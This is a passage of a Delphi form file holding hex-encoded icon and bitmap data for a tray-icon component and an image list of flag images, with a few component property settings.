0000000000000000000000000000454545393D3D3DE36F6F6FFE7F7F7FFE8383\n      83FF818181FE7C7C7CFF737373FE767676FF7B7B7BFE737373FF6A6A6AFF5454\n      54F729292988242424D9505050FF7C7C7CFE7F7F7FFF7D7D7DFE7A7A7AFF7979\n      79FE6D6D6DFE585858FF434343FE2D2D2DDC3939396142424202000000000000\n      00000000000000000000000000002E2E2E5F3E3E3EF6646464FE7A7A7AFE8181\n      81FF7B7B7BFE6C6C6CFF707070FE7F7F7FFF787878FE757575FF6B6B6BFF4040\n      40D0202020AE474747FE484848FF6B6B6BFE757575FF747474FE6F6F6FFF6565\n      65FE666666FE5F5F5FFF5F5F5FFE444444FF303030EE2C2C2C49000000000000\n      0000000000000000000000000000252525C44E4E4EFF717171FE7B7B7BFE6B6B\n      6BFF606060FE686868FF7B7B7BFE7F7F7FFF646464FE636363FF434343F82828\n      28873D3D3DDE5D5D5DFE4C4C4CFF565656FE727272FF828282FE848484FF8282\n      82FE7B7B7BFE747474FF5E5E5EFE494949FF3A3A3AFE181818DD262626400000\n      00000000000000000000000000001F1F1FC44A4A4AFF727272FE7A7A7AFE6C6C\n      6CFF5E5E5EFE666666FF7C7C7CFE797979FF585858FE4C4C4CFD2E2E2EAB2D2D\n      2D65434343F86D6D6DFE505050FF585858FE5F5F5FFF606060FE626262FF5959\n      59FE4D4D4DFE454545FF434343FE373737FF2D2D2DFE171717FD1212127C0000\n      00000000000000000000494949092D2D2DE5626262FF696969FE616161FE6363\n      63FF666666FE787878FF7A7A7AFE686868FF3E3E3EFE2A2A2AA94C4C4C1D2B2B\n      2BAE555555FF707070FE656565FF727272FE595959FF5D5D5DFE646464FF6161\n      61FE6B6B6BFE6C6C6CFF626262FE4E4E4EFF444444FE303030FF1D1D1D7B0000\n      000000000000000000002F2F2F31393939FF6B6B6BFF6E6E6EFE666666FE6B6B\n      6BFF7B7B7BFE7A7A7AFF707070FE454545FC2B2B2BA94B4B4B1B000000002828\n      28DA5D5D5DFF707070FE7D7D7DFF696969FE4A4A4AFF565656FE525252FF5E5E\n      5EFE7C7C7CFE828282FF7E7E7EFE797979FF6A6A6AFE464646FF202020C82B2B\n      2B06000000000000000031313138424242FF585858FF727272FE797979FE8383\n      83FF7E7E7EFE666666FF3C3C3CF1313131784E4E4E0C00000000000000002B2B\n      2BEA606060FF7E7E7EFE7F7F7FFF585858FE6B6B6BFF6A6A6AFE535353FF5252\n      52FE606060FE525252FF4C4C4CFE383838FF2B2B2BFE2B2B2BFF181818FA2121\n      210F00000000000000002E2E2E79494949FF5A5A5AFF797979FE7C7C7CFE7E7E\n      7EFF575757FE393939B3434343524D4D4D040000000000000000000000002727\n      27EA636363FF7E7E7EFE717171FF5B5B5BFE797979FF616161FE494949FF4A4A\n      4AFE424242FE515151FF565656FE555555FF434343FE3C3C3CFF202020F62424\n      2412000000003E3E3E142B2B2BBD505050FF676767FF696969F1555555C84545\n      45AB3C3C3C530000000000000000000000000000000000000000000000002424\n      24BD515151FF747474FE5B5B5BFF575757FE6F6F6FFF4F4F4FFE5B5B5BFF4949\n      49FE444444FE5C5C5CFF616161FE616161FF525252FE424242FF292929FE2020\n      20740000000024242490292929D3383838864A4A4A624C4C4C4B4F4F4F1E5050\n      500A575757010000000000000000000000000000000000000000000000003333\n      335B393939F16E6E6EFE4F4F4FFF5B5B5BFE5B5B5BFF3E3E3EFE636363FF5353\n      53FE4C4C4CFE404040FF414141FE555555FF5E5E5EFE4E4E4EFF303030FE2222\n      223E000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000004343\n      43052929298C4E4E4EFE3A3A3AFF585858FE444444FF444444FE606060FF6A6A\n      6AFE545454FE505050FF3C3C3CFE3B3B3BFF363636FE272727FF161616F12B2B\n      2B0E000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00004141411C1C1C1CF1232323FF434343FE363636FF545454FE5A5A5AFF6060\n      60FE5C5C5CFE565656FF4A4A4AFE373737FF424242FE303030FD1A1A1A9B0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000242424582626267E242424F1313131FF565656FE515151FF4848\n      48FE515151FE5F5F5FFF464646FE454545FF484848FE202020F2313131480000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000001D1D1D672121218F2F2F2FF83C3C3CFF4242\n      42FE414141FE4F4F4FFF434343FE595959FF494949FE282828E73131313D0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000002929291F242424761B1B\n      1BBA252525C9272727DA262626DD363636DE2E2E2EDA303030EC2929296D0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000003434\n      341133333320333333303232323434343434363636302A2A2A571E1E1E8F0000\n      000000000000F1FFFFFFF0FFFFFFF8FFFFFFFC7FFCFFFC3FC00FFE1F8007FF0F\n      0000FF8F0000FF830001FE020001FC000003F8000007E000000FE000000FE000\n      007FC000001FC0000007C0000007C0000003C00000038000000380040001800C\n      0001801C000100FC000100FC0001FFFC0001FFFE0003FFFF0003FFFFC003FFFF\n      F003FFFFFC032800000010000000200000000100200000000000400400000000\n      00000000000000000000000000000000000000000000383838723737372A0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000373737103333339D3535\n      350A0000000000000000000000000000000000000000000000003A3A3A060000\n      0000000000000000000000000000000000000000000000000000404040172F2F\n      2F9841414103000000000000000000000000333333512F2F2FC62A2A2AF42929\n      29C2262626934646460C00000000000000000000000000000000000000003F3F\n      3F2D3030308A000000000000000033333381505050FE646464FE5A5A5AFE4D4D\n      4DFE494949FE3B3B3BE221212191000000000000000000000000545454013F3F\n      3F423A3A3AA1444444844F4F4F03505050F3656565FE686868FE555555FE5C5C\n      5CFE676767FE4C4C4CDE4343430D00000000000000005252520A3C3C3CB66C6C\n      6CFE838383FE6B6B6BFE3333337C4C4C4CFE565656FE646464FE707070FE7474\n      74FE646464F34545453E000000000000000053535306333333CD5F5F5FFE8181\n      81FE787878FE656565FF4E4E4EF93F3F3FF8646464FE6E6E6EFE666666FE4F4F\n      4FD84343434400000000000000000000000048484833545454F77A7A7AFE7F7F\n      7FFE707070FE5A5A5AFF454545E5313131A1383838B9484848FD333333C83939\n      3942000000000000000000000000000000003B3B3B9C737373FE808080FE7272\n      72FE7A7A7AFE6F6F6FFF373737BF404040F5767676FE767676FE6C6C6CFE5656\n      56FE363636CA484848120000000000000000373737E1767676FE656565FE7171\n      71FE6D6D6DFE484848E7353535B0595959FE5F5F5FFE727272FE686868FE5656\n      56FE393939FE191919A5000000004A4A4A0E4C4C4CF8676767FE6B6B6BFE7777\n      77FE454545E846464638414141E1707070FE5F5F5FFE5A5A5AFE696969FE7373\n      73FE5D5D5DFE2C2C2CD0454545014444442C4F4F4FFF787878FE757575FE4747\n      47BD4C4C4C2200000000454545F47B7B7BFE656565FE595959FE4F4F4FFE5151\n      51FE3E3E3EFE272727FB323232082D2D2D8D4E4E4EB956565688494949420000\n      00000000000000000000383838C2636363FE5F5F5FFE525252FE4B4B4BFE4F4F\n      4FFE595959FE3A3A3AFE3131312C000000000000000000000000000000000000\n      000000000000000000004444442B313131FB454545FE545454FE5E5E5EFE4B4B\n      4BFE3A3A3AFE212121E23B3B3B03000000000000000000000000000000000000\n      000000000000000000000000000039393935242424B9444444FD474747FE4D4D\n      4DFE4B4B4BFE2A2A2A9700000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000363636252929296D2C2C\n      2C86333333872828288F00000000CFFF0000C7EF0000E3810000F3000000E000\n      0000C00100008003000080070000800100008001000000000000020000000E00\n      0000FE000000FF010000FFC10000}\n    IconVisible = True\n    IconIndex = 0\n    PopupMenu = PopMenu_Tray\n    WantEnterExitEvents = True\n    MinimizeToTray = True\n    OnClick = CoolTrayIcon1Click\n    OnDblClick = CoolTrayIcon1DblClick\n    Left = 799\n    Top = 80\n  end\n  object ImageList_Flags: TImageList\n    ColorDepth = cd32Bit\n    DrawingStyle = dsTransparent\n    Left = 759\n    Top = 16\n    Bitmap = {\n      494C0101FC0074017C0010001000FFFFFFFF2110FFFFFFFFFFFFFFFF424D3600\n      0000000000003600000028000000400000000004000001002000000000000000\n      0400000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000068855CFF85AC72FFB7CFABFF8A96\n      84FF97BC87FFC0D6B1FF8E998AFFA0C490FFBFD6B2FF97A091FFD9DAD9FFD1D2\n      D1FFFFFFFFFFDEDEDDFFD1D2D1FFFFFFFFFFFFFFFFFF95A190FF95A193FFD9D9\n      D8FF95A090FF9BA397FFD4D4D4FF949E8EFF98A296FFD2D2D2FF969F90FF97A5\n      92FFB1B1B1FFDEDEDDFFD1D2D1FFFFFFFFFFFFFFFFFF959F8FFF95A092FFDADA\n      D9FF95A191FF98A194FFDEDEDEFF939E8DFF97A094FFDEDEDEFF949D8DFF98A4\n      93FFDFDFDFFF999F95FF98A291FFB4B5B4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF547C3CFF669D4CFFC6E8B7FF8096\n      73FF88B86DFFD3F1C2FF87977DFF9AC686FFD2F2C0FF96A68DFFD3D4D2FFD2D3\n      D2FFFFFFFFFFD4D5D3FFD2D4D2FFD2D3D2FF648354FF82AE6BFFBED7B1FF8395\n      7BFF9CC587FFC2DAB2FF8B9884FFA9D197FFC5E0B7FF919A8DFFB3D5A4FFCAE3\n      BBFF92A089FFD4D5D3FFD2D4D2FFD2D3D2FF658257FF84AF6CFFBAD4B0FF8696\n      7DFFA2CB8EFFBFD3B0FF8B9A85FFAFD89CFFBDD3B0FF959E92FFBADCAAFFC6E0\n      B7FF9AA095FFAFCF9FFFC8E4BAFF94A38FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF72955EFF689A4FFFBADEABFF7E92\n      73FF6CA352FFC8EBB6FF85967CFF85B56EFFCAEFB8FF9AAB90FFD2D4D1FFD3D4\n      D2FFE0E0E0FFD2D4D2FFD3D4D2FFD1D1D0FF557D3CFF609845FFC3E6B5FF7B94\n      6DFF86B76AFFCCEDBDFF839579FF9DCB89FFD4F6C3FF8C9984FFACD598FFDAFB\n      C9FF99AB8FFFD2D4D2FFD3D4D2FFD1D1D0FF547C3AFF629A47FFC3E4B4FF7B93\n      6DFF8BBD6FFFCBE5BCFF819477FFA6D591FFCAE8BBFF8D9985FFB5E0A1FFD8FA\n      C8FF939D8EFFAED699FFD7F9C8FF9DAD93FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8E9A86FF7A9A6EFF9BAF94FF8C97\n      85FF548E3AFFB7DDA5FF83967AFF6DA356FFBEE4ACFF99AB90FFD2D4D1FFD3D4\n      D2FFFFFFFFFFD2D4D2FFD3D4D2FFD1D1D0FF7D9E6CFF719F5AFFB4D8A6FF788F\n      6EFF699F4FFFBFE0AEFF819378FF86B56DFFC9EDB8FF8C9983FF95C081FFD2F3\n      C1FF9BAB92FFD2D4D2FFD3D4D2FFD1D1D0FF7C9D6AFF71A05AFFB6D8A7FF788F\n      6FFF6DA454FFBFDDAEFF7E9276FF8FBF76FFC1E2B4FF8B9884FF9DCA8BFFD1F2\n      C1FF959D8FFF9EC78AFFCEF2BEFF9DAE94FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFFFFFF99A2\n      94FF4A8230FFA0CA8CFF829478FF5B9040FFAFD79CFF98AC8FFFD1D3D0FFD3D4\n      D2FFFFFFFFFFD1D3D0FFD2D4D2FFD1D1D0FFA3A9A0FF879980FFA0A99DFF8A97\n      84FF508A36FFAFD29CFF7E9375FF6DA157FFBEE2ADFF8B9781FF81AF69FFCAEE\n      B7FF9BAC93FFD1D3D0FFD2D4D2FFD1D1D0FFA5AAA2FF879A82FFA3ACA0FF8D99\n      87FF548F3BFFAFD29FFF7B9072FF76AB5FFFB8D8ABFF899682FF89BA73FFCCEE\n      BAFF949D8EFF90BB78FFC5ECB5FF9DAE95FFFFFFFFFF000000FF000000FF0000\n      00FFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF\n      FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9DA5\n      98FF679651FF95BC82FF819278FF4A822EFF9DC988FF97AB8FFFD0D2CFFFD2D4\n      D1FFFFFFFFFFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF95A0\n      90FF508737FF98BF85FF7D9173FF5A9040FFAED59BFF899780FF6B9E54FFBBE2\n      A9FF9BAD95FFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF96A1\n      90FF518837FF9BC08AFF798D70FF609846FFABCE9BFF889581FF74A65CFFC0E4\n      AFFF939D8EFF82B06AFFBBE3AAFF9DAF95FFFFFFFFFF000000FF000000FF0000\n      00FFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF\n      FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C6\n      C3FF7E9474FF919F88FF9FA79CFF3D751FFF8BB873FF98AA8FFFCFD1CEFFD1D3\n      D1FFFFFFFFFFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF9EA5\n      99FF739C60FF90B580FF809177FF48802BFF9CC789FF889780FF588D3FFFABD4\n      96FF9AAD95FFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFF9DA5\n      99FF729D5FFF93B583FF7D8F75FF4E8831FF9DC38DFF879580FF5F9445FFB1D8\n      9FFF939D8EFF73A35EFFB0D99EFF9DAE93FFFFFFFFFF000000FF000000FF0000\n      00FFFFFFFFFF000000FF000000FF000000FF000000FF000000FF000000FFFFFF\n      FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFB1B6AFFF4B7D31FF74A55BFF96A88CFFCED1CDFFD1D2\n      D0FFFFFFFFFFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFA6ACA4FFBBBEBAFF9DA59AFF3D7420FF89B472FF86967EFF467E2BFF98C4\n      82FF98AD92FFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFA4AAA1FFBFC2BEFF9BA397FF417823FF8DB37AFF85947EFF4B8631FFA0CA\n      8CFF939D8EFF66984DFFA5CF90FF9EAE91FFFFFFFFFF000000FF000000FF0000\n      00FFFFFFFFFF3B3B3BFF000000FF000000FF000000FF000000FF3F3F3FFFFFFF\n      FFFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFB1B6B0FF6B9858FF73A25EFF8D9C85FFCED0CDFFD0D2\n      CFFFFFFFFFFFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFA4AAA0FF5A8C43FF77A760FF87957DFF366E1DFF84B3\n      6CFF96AB90FFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF9FA79CFF578A3FFF7BA665FF85937CFF3B751FFF8EBA\n      78FF929D8DFF5B8D41FF96C381FF9BAD92FFFFFFFFFF000000FF000000FF0000\n      00FF525252FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4D4D\n      4DFF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFCBCCCAFF6B915FFF709364FFC6C8C5FFCCCECBFFCFD1\n      CEFFFFFFFFFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFADB2ABFF6E955FFF789E6AFF969F91FF2A640EFF6EA1\n      56FF94A98DFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFA7ACA4FF6F9A5EFF7CA070FF929D8DFF2C6810FF78A9\n      64FF929C8DFF4D8333FF89B871FF99AB92FFFFFFFFFF000000FF000000FF0000\n      00FF000000FF3E3E3EFFD8D8D8FF1D1D1DFF1E1E1EFFDADADAFF3C3C3CFF0000\n      00FF000000FF000000FF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCFCBFFCED0\n      CDFFE0E0DFFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFD2D3D2FFFFFFFFFFBBBFBAFF3E7324FF558D\n      3CFF92A68AFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC9CBC8FFDCDDDCFFADB3AAFF376F1CFF6195\n      4AFF909B8BFF437628FF78AC61FF97AA8EFFFFFFFFFF3B3B3BFF000000FF0000\n      00FF000000FF757575FF8A8A8AFF000000FF000000FF8C8C8CFF747474FF0000\n      00FF000000FF000000FF3F3F3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CEFFCED0\n      CDFFFFFFFFFFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB9BCB7FF6D9859FF608E\n      49FF899A83FFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABB0A8FF669352FF6493\n      4FFF919C8CFF3A6E1FFF6A9F52FF95A98CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFD8D8D8FF222222FF222222FFDADADAFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFF\n      FFFFFFFFFFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD6D6D6FF688D55FF6488\n      4FFFC0C3BFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD2D2D1FF819477FF8B99\n      84FFBABDB9FF306812FF5D9343FF94A78AFFFFFFFFFFFFFFFFFFD8D8D8FF1D1D\n      1DFF1E1E1EFFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD8D8D8FF1D1D\n      1DFF1E1E1EFFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFCACCC9FF497D31FF4E8633FF92A488FFFFFFFFFFFFFFFFFF8A8A8AFF0000\n      00FF000000FF8C8C8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8A8A8AFF0000\n      00FF000000FF8C8C8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFCBCDCAFF719B60FF5F8F49FF8B9883FFFFFFFFFFFFFFFFFFD8D8D8FF2222\n      22FF222222FFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD8D8D8FF2222\n      22FF222222FFDADADAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF7A8C71FF778A6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      